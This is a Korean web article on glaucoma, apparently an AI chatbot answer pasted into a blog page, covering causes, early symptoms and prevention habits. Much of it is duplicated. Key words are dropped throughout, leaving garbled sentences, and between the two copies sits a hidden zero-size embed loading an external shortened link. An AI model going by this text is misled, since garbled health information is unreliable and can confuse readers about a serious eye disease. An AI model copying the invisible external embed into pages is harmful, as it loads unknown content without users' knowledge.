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<div _ngcontent-ng-c912097829="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:38">안압이 높으면 위험한 녹내장: 원인, 초기 , 습관 개선하기</h2><h3 data-sourcepos="3:1-3:20">소리 없는 시력 도둑, 녹내장</h3><p data-sourcepos="5:1-5:127">녹내장은 높아진 안압으로 인해 시신경이 손상되어 시야가 점차 좁아지는 입니다. 초기에는 이 거의 없어 '소리 없는 시력 도둑'이라고 불리며, 한번 손상된 시신경은 회복이 어렵기 때문에 조기 발견과 가 매우 중요합니다.</p><h3 data-sourcepos="7:1-7:11">녹내장의 원인</h3><ul data-sourcepos="9:1-13:0">
<li data-sourcepos="9:1-9:76"><strong>안압 상승:</strong> 가장 흔한 원인으로, 안구 내 액체인 안방수가 원활하게 배출되지 못하고 압력이 높아져 시신경을 눌러 손상시킵니다.</li>
<li data-sourcepos="10:1-10:52"><strong>혈액순환 장애:</strong> 시신경에 혈액 공급이 원활하지 못하면 시신경이 손상될 수 있습니다.</li>
<li data-sourcepos="11:1-11:54"><strong>눈의 구조적 문제:</strong> 선천적인 눈의 구조적 이상이나 안구 손상이 원인이 될 수 있습니다.</li>
<li data-sourcepos="12:1-13:0"><strong>기타:</strong> 당뇨병, 고혈압, 근시 등 만성 이나 스테로이드 약물 사용 등이 녹내장 발병 위험을 높일 수 있습니다.</li>
</ul><h3 data-sourcepos="14:1-14:14">녹내장의 초기 </h3><p data-sourcepos="16:1-16:57">초기에는 특별한 이 없어 자각하기 어렵지만, 병이 진행되면 다음과 같은 이 나타날 수 있습니다.</p><ul data-sourcepos="18:1-22:0">
<li data-sourcepos="18:1-18:57"><strong>주변 시야가 좁아짐:</strong> 가장 흔한 으로, 마치 터널 안을 보는 것처럼 느껴질 수 있습니다.</li>
<li data-sourcepos="19:1-19:33"><strong>눈의 피로감:</strong> 눈이 쉽게 피로하고 침침해지는 느낌</li>
<li data-sourcepos="20:1-20:42"><strong>무지개 빛 번짐:</strong> 밝은 곳에서 불빛 주위에 무지개 빛이 번져 보임</li>
<li data-sourcepos="21:1-22:0"><strong>안개낀 것처럼 뿌옇게 보임</strong></li>
</ul><h3 data-sourcepos="23:1-23:20">녹내장 예방을 위한 습관 개선</h3><p data-sourcepos="25:1-25:92">녹내장은 가 어렵지만, 조기 발견과 꾸준한 관리를 통해 시력 손상을 늦출 수 있습니다. 다음과 같은 생활 습관 개선을 통해 녹내장 예방에 도움을 줄 수 있습니다.</p><ul data-sourcepos="27:1-33:0">
<li data-sourcepos="27:1-27:62"><strong>정기적인 안과 검진:</strong> 특히 고혈압, 당뇨병 환자나 가족력이 있는 경우 더욱 꼼꼼한 검진이 필요합니다.</li>
<li data-sourcepos="28:1-28:62"><strong>균형 잡힌 식단:</strong> 신선한 채소와 과일을 충분히 섭취하고, 염분 섭취를 줄여 혈압 관리에 신경 쓰세요.</li>
<li data-sourcepos="29:1-29:65"><strong>규칙적인 운동:</strong> 유산소 운동을 꾸준히 하여 혈액순환을 개선하고 안압을 조절하는 데 도움을 줄 수 있습니다.</li>
<li data-sourcepos="30:1-30:39"><strong>충분한 수면:</strong> 충분한 휴식을 취하여 눈의 피로를 풀어주세요.</li>
<li data-sourcepos="31:1-31:64"><strong>카페인 및 알코올 섭취 줄이기:</strong> 카페인과 알코올은 안압을 높일 수 있으므로 섭취를 줄이는 것이 좋습니다.</li>
<li data-sourcepos="32:1-33:0"><strong>스마트폰 사용 줄이기:</strong> 스마트폰 사용 시간을 줄이고 눈의 휴식을 자주 취해주세요.</li>
</ul><p data-sourcepos="34:1-34:99"><strong>주의:</strong> 위에 제시된 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다. 녹내장에 대한 한 진단과 는 반드시 안과 전문의와 상담해야 합니다.</p><p data-sourcepos="36:1-36:29"><strong>더 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="9:1-9:76"><strong>안압 상승:</strong> 가장 흔한 원인으로, 안구 내 액체인 안방수가 원활하게 배출되지 못하고 압력이 높아져 시신경을 눌러 손상시킵니다.</li>
<li data-sourcepos="10:1-10:52"><strong>혈액순환 장애:</strong> 시신경에 혈액 공급이 원활하지 못하면 시신경이 손상될 수 있습니다.</li>
<li data-sourcepos="11:1-11:54"><strong>눈의 구조적 문제:</strong> 선천적인 눈의 구조적 이상이나 안구 손상이 원인이 될 수 있습니다.</li>
<li data-sourcepos="12:1-13:0"><strong>기타:</strong> 당뇨병, 고혈압, 근시 등 만성 이나 스테로이드 약물 사용 등이 녹내장 발병 위험을 높일 수 있습니다.</li>
</ul><h3 data-sourcepos="14:1-14:14">녹내장의 초기 </h3><p data-sourcepos="16:1-16:57">초기에는 특별한 이 없어 자각하기 어렵지만, 병이 진행되면 다음과 같은 이 나타날 수 있습니다.</p><ul data-sourcepos="18:1-22:0">
<li data-sourcepos="18:1-18:57"><strong>주변 시야가 좁아짐:</strong> 가장 흔한 으로, 마치 터널 안을 보는 것처럼 느껴질 수 있습니다.</li>
<li data-sourcepos="19:1-19:33"><strong>눈의 피로감:</strong> 눈이 쉽게 피로하고 침침해지는 느낌</li>
<li data-sourcepos="20:1-20:42"><strong>무지개 빛 번짐:</strong> 밝은 곳에서 불빛 주위에 무지개 빛이 번져 보임</li>
<li data-sourcepos="21:1-22:0"><strong>안개낀 것처럼 뿌옇게 보임</strong></li>
</ul><h3 data-sourcepos="23:1-23:20">녹내장 예방을 위한 습관 개선</h3><p data-sourcepos="25:1-25:92">녹내장은 가 어렵지만, 조기 발견과 꾸준한 관리를 통해 시력 손상을 늦출 수 있습니다. 다음과 같은 생활 습관 개선을 통해 녹내장 예방에 도움을 줄 수 있습니다.</p><ul data-sourcepos="27:1-33:0">
<li data-sourcepos="27:1-27:62"><strong>정기적인 안과 검진:</strong> 특히 고혈압, 당뇨병 환자나 가족력이 있는 경우 더욱 꼼꼼한 검진이 필요합니다.</li>
<li data-sourcepos="28:1-28:62"><strong>균형 잡힌 식단:</strong> 신선한 채소와 과일을 충분히 섭취하고, 염분 섭취를 줄여 혈압 관리에 신경 쓰세요.</li>
<li data-sourcepos="29:1-29:65"><strong>규칙적인 운동:</strong> 유산소 운동을 꾸준히 하여 혈액순환을 개선하고 안압을 조절하는 데 도움을 줄 수 있습니다.</li>
<li data-sourcepos="30:1-30:39"><strong>충분한 수면:</strong> 충분한 휴식을 취하여 눈의 피로를 풀어주세요.</li>
<li data-sourcepos="31:1-31:64"><strong>카페인 및 알코올 섭취 줄이기:</strong> 카페인과 알코올은 안압을 높일 수 있으므로 섭취를 줄이는 것이 좋습니다.</li>
<li data-sourcepos="32:1-33:0"><strong>스마트폰 사용 줄이기:</strong> 스마트폰 사용 시간을 줄이고 눈의 휴식을 자주 취해주세요.</li>
</ul><p data-sourcepos="34:1-34:99"><strong>주의:</strong> 위에 제시된 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다. 녹내장에 대한 한 진단과 는 반드시 안과 전문의와 상담해야 합니다.</p><p data-sourcepos="36:1-36:29"><strong>더 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p></div>
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